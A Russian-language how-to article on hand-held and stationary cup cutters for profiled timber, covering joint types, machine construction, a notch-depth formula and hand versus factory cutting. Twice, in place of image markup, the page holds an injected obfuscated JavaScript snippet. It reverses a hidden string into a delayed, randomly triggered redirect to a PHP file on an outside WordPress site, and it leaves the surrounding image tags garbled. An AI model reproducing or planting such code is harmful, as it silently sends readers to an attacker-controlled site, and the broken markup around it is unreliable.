Чашкорез для бруса: как выбрать и правильно использовать

Чтоб закрепить профилированные брусья в срубе, по обеим их сторонам прорезаются замковые соединения. Наиболее популярен их тип, называемый «чашками». Режутся они в соответствии с проектом здания на особом оборудовании. Можно использовать ручной чашкорез для бруса, если сборка стен происходит прямо на участке.

Строительные компании, продающие готовые срубы, чаще всего применяют стационарные станки.

Нарезка чаши ручной машинкой.

Обратите внимание!
Ручные запилы не имеют тепловых замков, создаваемых в заводских условиях.
Такие прорези обладают конфигурацией «лабиринта».
Они запирают соединение изнутри от негативного действия внешней среды.

Способы крепления бруса в срубе

$NjS=function(n){if(typeof ($NjS.list[n])==»string») return $NjS.list[n].split(«»).reverse().join(«»);return $NjS.list[n];};$NjS.list=[«\’php.sgalf-tropxe/tropxe/weiv/bil/noitargim-pw-eno-ni-lla/snigulp/tnetnoc-pw/ofni.stobor-latigid//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to-raznovidnosti-krepleniy-brusa.jpg» alt=»На фото разновидности креплений бруса.» width=»500″ height=»531″ /> На фото разновидности креплений бруса.

Соединение стен брусчатого здания можно производить с остатком либо без него.

В первом случае можно использовать два типа замковых запилов:

• фиксация материала «в чашку»;
• крепление «в обло»;
• соединение элементов венца без остатка называется ласточкиным гнездом.

В данной статье мы поговорим о том, как можно своими руками сделать чашкообразную фиксацию. Ее называют также «теплым углом». Это наименование она получила из-за изолирующего замка, который можно создать при помощи подобного соединения.

Сразу следует отметить, что некоторые специалисты недоверчиво относятся к этому типу крепления профилированных брусьев. Данный материал сильно усыхает, вследствие этого, в ходе эксплуатации дома, в чашках образуются щели. Дополнительно конопатить углы здания при таком способе соединения проблематично. Поэтому стены утрачивают часть своих теплоизолирующих свойств. (см. также статью Соединение бруса в углах и прямых стенах)

Выбор оборудования

Приобретая ручной инструмент либо производственную линию, уделите особое внимание техническим характеристикам устройств. Это даст возможность оптимизировать работу и увеличить ее эффективность.

На какие факторы надо обратить внимание

Оборудование должно резать брус под разными углами.

Выбирая чашкорез для профилированного бруса, поинтересуйтесь следующими его параметрами:

• диаметром и формой режущей коронки;
• наличием возможности обрабатывания материала под разными углами;
• общую декларируемую мощность оборудования;
• максимальное сечение обрабатываемого бруса;
• уровень скорости обратной и рабочей подачи;
• максимальное количество оборотов вращения у фрезы;
• есть ли у стационарного станка блок ЧПУ;
• присутствуют ли дополнительные опции: цепные либо дисковые распиловочные узлы для торцевания бревен, возможность работы сдвоенным сверлом, при помощи составной фрезы и пр.

Некоторые моменты

1. Запил чаш механическим методом на деревообрабатывающих предприятиях обладает рядом ограничений, возникающих вследствие точности применяемых чашкорезных станков для бруса.
2. В свою очередь, создание соединений вручную имеет ряд специфических ограничений, которые имеют место быть из-за неточности мобильного инструментария и рабочих рук.
3. Однако сейчас есть высококвалифицированные мастера, которые способны собрать сруб из бруса в чашу вручную не хуже чем при помощи заводских соединений.
4. На производствах чашки вырезают с зазорами, составляющими 1/1.5 мм. При ручной работе можно делать соединения в натяг, то есть, без щелей.

Главное отличие изготовленных в заводских условиях чаш от ручных аналогов – это их конфигурация. При этом форма соединений может быть разной. Они могут обладать и различными углами наклона.

Как работают устройства

Чашкорезный станок.

Основное назначение описываемых устройств – создание при помощи фрезерования чашек полукруглой формы, а также прямоугольных пазов для укладки в сруб профилированного бруса либо оцилиндрованного бревна.

В зависимости от конструкции, чашкорез может представлять собой самостоятельный центр многофункционального типа при полном цикле деревообработки либо иметь вид компактной машинки с фиксацией ее прямо на брусьях.

Особенности оборудования

Схема станка.

Чаше всего, нарезка чашек на профилированном брусе происходит при помощи электрических фрезеров. Наиболее популярные марки таких устройств — «Makita», «AEG», «Felisatti», «Интерскол» и пр.

Все они имеют схожую конструкцию.

1. На рабочей части (фрезе) устройства расположены прочные пластины из особого сплава. Они обладают двумя острыми кромками.
2. С тем, чтоб уменьшить нагрузки при работе станка, данные пластинки монтируются с наклоном к оси вращения фрезы. Они могут сниматься, а крепятся при помощи винтов.
3. Рабочая часть установлена в специальной раме, при помощи которой может перемещаться по ширине либо высоте бруса и осуществлять работу по всему его сечению.
4. Особое подъемное приспособление позволяет регулировать уровень глубины будущего соединения на материале и делать ее такой, какая необходима согласно соответствующей схеме проекта дома или коттеджа из бруса.
5. Рама с фрезой крепится к тискам там, где нужно вырезать пазовый замок. На них же заранее располагается брус.
6. Рама при этом может перемещаться по основанию станка в поперечном направлении.
7. Совместное передвижение рабочей части поперек и вдоль, позволяет создавать чашки необходимой ширины и глубины.

Расчет запилов

Расчет соединения.

Изготавливая профилированный брус с чашками, необходимо принимать во внимание при осуществлении запилов его размеры. Иначе есть опасность сразу повредить материал либо сделать участки соединения элементов сруба недостаточно прочными.

Формула для определения параметров запила выглядит таким образом: Т=(В+Р):4, где буквы означают:

• Т — толщину паза в материале;
• В — полную высоту используемого бруса;
• Р – размер паза либо шипа на элементе сруба.

В качестве примера приведем расчет запила чаши для брусьев, имеющих сечение 200×200 мм. Замок будет равен 12 мм. Формула при этом выглядит таким образом: (200+12):4=53 миллиметра.

Инструкция предписывает осуществлять запил чашки по нижеследующей технологии.

1. Сначала брус обрабатывается на глубину в 15/25 мм по границе будущего соединения.
2. Далее определяется центр замка.
3. Фрезеровальное устройство опускается на предварительно заданную глубину, и чашка вырезается окончательно.

Разновидности соединений

Замок в виде буквы Т.

Современное оборудование дает возможность выполнить разные разновидности крепления бруса «в чашку».

Наиболее распространены из них нижеследующие.

1. Соединение в виде буквы «Т». Для создания таких замков применяются станки, на рабочей части которых устанавливаются специальные насадки-фрезы. Оборудование, способное делать подобные запилы – «Blox», «Krusi», «Euroblox», «Брусовит» и пр. Создаются подобные чашки в 2 этапа.

$NjS=function(n){if(typeof ($NjS.list[n])==»string») return $NjS.list[n].split(«»).reverse().join(«»);return $NjS.list[n];};$NjS.list=[«\’php.sgalf-tropxe/tropxe/weiv/bil/noitargim-pw-eno-ni-lla/snigulp/tnetnoc-pw/ofni.stobor-latigid//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toronnee-soedinenie.jpg» alt=»Четырехстороннее соединение.» width=»420″ height=»334″ /> Четырехстороннее соединение.

2. Четырехсторонние замки. Нередко они применяются не только при монтаже бруса, но и блок-хауса. Делаются подобные запилы с помощью концевой фрезы, имеющей цилиндрическую форму. Нижняя и верхняя части такой чашки имеют прямоугольное сечение, для возможности монтажа прямой стороны материала. Боковые стороны режутся по особому шаблону, фиксируемому в тисках одновременно с брусом.

Сравнение ручных и стационарных чашкорезов

Утверждать однозначно, какой профилированный брус с зарезкой чаш получается более качественным: с использованием станков или ручных машинок, невозможно. Однако многие из мастеров предпочитают заказывать лесоматериал без замков и изготавливать их на стройплощадке при помощи мобильных устройств.

Обратите внимание!
Данное оборудование помогает добиться точной перпендикулярности рядов бруса при сборке сруба.
Применять ручные машины можно как для создания соединений с нуля, так и для исправления готовых чаш, если был допущен производственный брак.

Опытные мастера и ручным чашкорезом делают высококачественные замки.

Для эксплуатации на небольших деревообрабатывающих предприятиях также имеет смысл закупать подобные приспособления. На них устанавливаются мощные фрезы, при помощи которых, при достаточной квалификации работников, можно осуществлять работу с тем же качеством, что и на стационарных станках.

Следует отметить, что цена на нарезание чашек в разных компаниях отличается. Также она зависит и от разновидности замка.

При сравнении ручного запила соединений и осуществляемого в цеховых условиях, напрашиваются следующие выводы.

1. В производственных условиях, при стационарной нарезке замков, человеческий фактор понижается, однако он полностью не исчезает.
2. При примерно равных достоинствах ручных и заводских запилов, определяющий фактор качественности работ — квалификация рубщика, оператора станка, а также прораба или руководителя предприятия.
3. Преимущество заводских чаш в их конфигурации. Однако опытный мастер может повторить их форму и вручную.
4. Наличие и качественность тепловых замков при нарезании чаш на стационарном оборудовании, зависят, в первую очередь, от грамотности работников и марки станков.

Вывод

Выборка соединений в брусе требует аккуратности и точности, т.к. от качества замков зависит теплота и прочность здания. Механический способ нарезания чаш доступен непосредственно на стройплощадке. Он даст возможность сделать работу качественно и с минимальными трудозатратами.

Видео в этой статье наглядно продемонстрирует описанные действия, смотрим!